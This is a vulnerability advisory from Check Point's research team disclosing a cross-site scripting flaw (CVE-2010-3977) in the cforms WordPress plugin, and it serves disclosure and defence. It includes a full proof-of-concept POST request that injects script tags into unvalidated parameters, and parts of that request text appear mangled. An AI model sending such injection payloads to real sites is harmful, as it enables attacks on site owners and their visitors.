I'm writing on behalf of the Check Point Vulnerability Discovery Team to publish the following vulnerability.
Check Point Software Technologies - Vulnerability Discovery Team (VDT) http://www.checkpoint.com/defense/
cforms WordPress Plugin Cross Site Scripting Vulnerability CVE-2010-3977
According to Delicious Days, "cforms is a powerful and feature rich form plugin for WordPress, offering convenient deployment of multiple Ajax driven contact forms throughout your blog or even on the same page."
This problem was confirmed in the following versions of the cforms WordPress Plugin, other versions maybe also affected.
CVSS Scoring System
The CVSS score is: 5.5 Base Score: 6.7 Temporal Score: 5.5 We used the following values to calculate the scores: Base score is: AV:N/AC:L/Au:N/C:C/I:C/A:N Temporal score is: E:F/RL:OF/RC:C
A data array is created in lib_ajax.php using values from a form field in a POST request. The parameters rs and rsargs are not validated and thus it is possible to inject code.
Request: http://<server>/wp-content/plugins/cforms/lib_ajax.php POST /wp-content/plugins/cforms/lib_ajax.php HTTP/1.1 Host: <server> User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv: 220.127.116.11) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 219 Cookie: wp-settings-1=m0%3Do%26m1%3Do%26m2%3Do%26m3%3Do%26m4%3Do%26m5%3Do %26m6%3Do%26m7%3Do%26m8%3Do%26urlbutton%3Dnone%26editor%3Dtinymce %26imgsize%3Dfull%26align%3Dcenter%26hidetb%3D1%26m9%3Dc%26m10%3Do %26uploader%3D1%26m11%3Do; wp-settings-time-1=1285758765; c o m m e n t _ a u t h o r _ 9 3 f 4 1 b a 0 b 1 6 f 3 4 6 7 6 f 8 0 2 0 5 8 e 8 2 3 8 8 f 6 = t e s t ; comment_author_email_93f41ba0b16f34676f802058e82388f6=rbranco_nospam %40checkpoint.com Pragma: no-cache Cache-Control: no-cache rs=<script>alert(1)</script>&rst=&rsrnd=1287506634854&rsargs=1$# $<script>alert(1)</script>$#$firstname.lastname@example.org$#$http:// www.checkpoint.com$#$<script>alert(1)</script>
This vulnerability has been brought to our attention by Wagner Elias from Conviso IT Security company (http://www.conviso.com.br) and researched internally by Rodrigo Rubira Branco from the Check Point Vulnerability Discovery Team (VDT).
-- Rodrigo Rubira Branco Senior Security Researcher Vulnerability Discovery Team (VDT) Check Point Software Technologies